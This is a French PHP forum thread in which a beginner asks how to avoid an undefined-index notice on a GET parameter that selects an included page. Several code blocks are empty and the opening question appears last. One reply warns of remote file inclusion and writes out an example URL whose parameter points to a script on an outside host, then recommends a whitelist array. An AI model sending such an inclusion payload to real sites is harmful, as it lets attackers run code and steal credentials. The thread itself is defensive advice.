pb de param passé en GET non initialisé [PHP] - PHP - Programmation
Marsh Posté le 05-02-2004 à 18:00:47
if(isset($_GET['rubrique']))
$rub = $_GET['rubrique'];
else
$rub = 'default';
Marsh Posté le 05-02-2004 à 18:35:43
merci antp je v tester çà, c'était tout con en fait . En fait je pensais que à partir du moment ou on fait un $_GET['...'] sur un param non défini, on se tape un "notice ...."
Marsh Posté le 05-02-2004 à 18:54:29
Chaque fois qu'on lit sa valeur en fait
Marsh Posté le 05-02-2004 à 19:09:55
Sans vouloir jouer au parano, tu devrais éviter ce genre de manip (le fait d'includer un fichier dont le nom est spécifié par argument) car par exemple si quelqu'un mets un script malveillant (du style pour récupérer tes identifiants) sur un serveur qui n'interprète pas le php, bah PHP va directement copier son code dans le tien et là ...
Exemple : gnagnagna.com/index.php?rubrique=http://toto.org/hello
(en remplaçant les derniers / par %xx) ton script récupèrera le script hello.php sur le serveur toto.org.
(parfois les serveurs ont allow_url_fopen désactivé mais on sait jamais)
Tu devrais faire un tableau clé=>valeur qui fasse le lien entre une valeur fournie en argument et le nom de fichier correspondant ce qui évitera les débordements
Marsh Posté le 12-02-2004 à 17:43:26
ok, je vois ce que tu veux dire, effectivement c'est pas top. en meme
temps je passe pas le nom complet en argument, mais ca peut-etre quand
meme un pb. Sans faire un tableau, ptet que si je rajoute des trucs
ensuite pour retomber sur le nom de fichier, ou un md5... enfin je v
voir, je débute, et puis ca sera pas un site critique; mais merci de
me pointer la faille
Marsh Posté le 13-02-2004 à 20:42:45
gerardo a écrit : ok, je vois ce que tu veux dire, effectivement c'est pas top. en meme |
Même si tu ne donnes pas le nom complet, ça revient au même
Citation : Sans faire un tableau, ptet que si je rajoute des trucs |
Le plus simple, je pense, c'est un tableau :
Code :
|
Ensuite tu fais :
Code :
|
(le isset permettant de vérifier que le nom de rubrique fourni existe)
En plus, cela a un avantage assez intérressant : si tu modifies le nom d'une page (par exemple pour les news ...) ou son chemin d'accès, tu as juste à modifier ce tableau au lieu de devoir modifier toutes les pages ayant un lien vers elle.
Marsh Posté le 15-02-2004 à 20:28:00
effectivement, c plutot pas mal, notamment pour les modifs ultérieures, je vais faire çà. Encore merci pour la leçon
Marsh Posté le 05-02-2004 à 17:40:59
salut,
bon, j'ai un ti pb tout con mais j'arrive pas à m'en débarrasser:
j'ai un site ou chaque lien d'un item du menu de la page index permet de faire afficher un include, via la methode GET. ex: lien de la rubrique news:
je recupere la rubrique, pour faire du genre
Or, l'index.php affiche la rubrique news par défaut, mais pas moyen de me débarrasser de la notice "Notice: Undefined index: rubrique in ...", vu que le parametre a pas de valeur, qd je fait $_GET['rubrique'];
Est ce que quelqu'un saurait comment éviter çà, plz?
Message édité par gerardo le 05-02-2004 à 17:43:40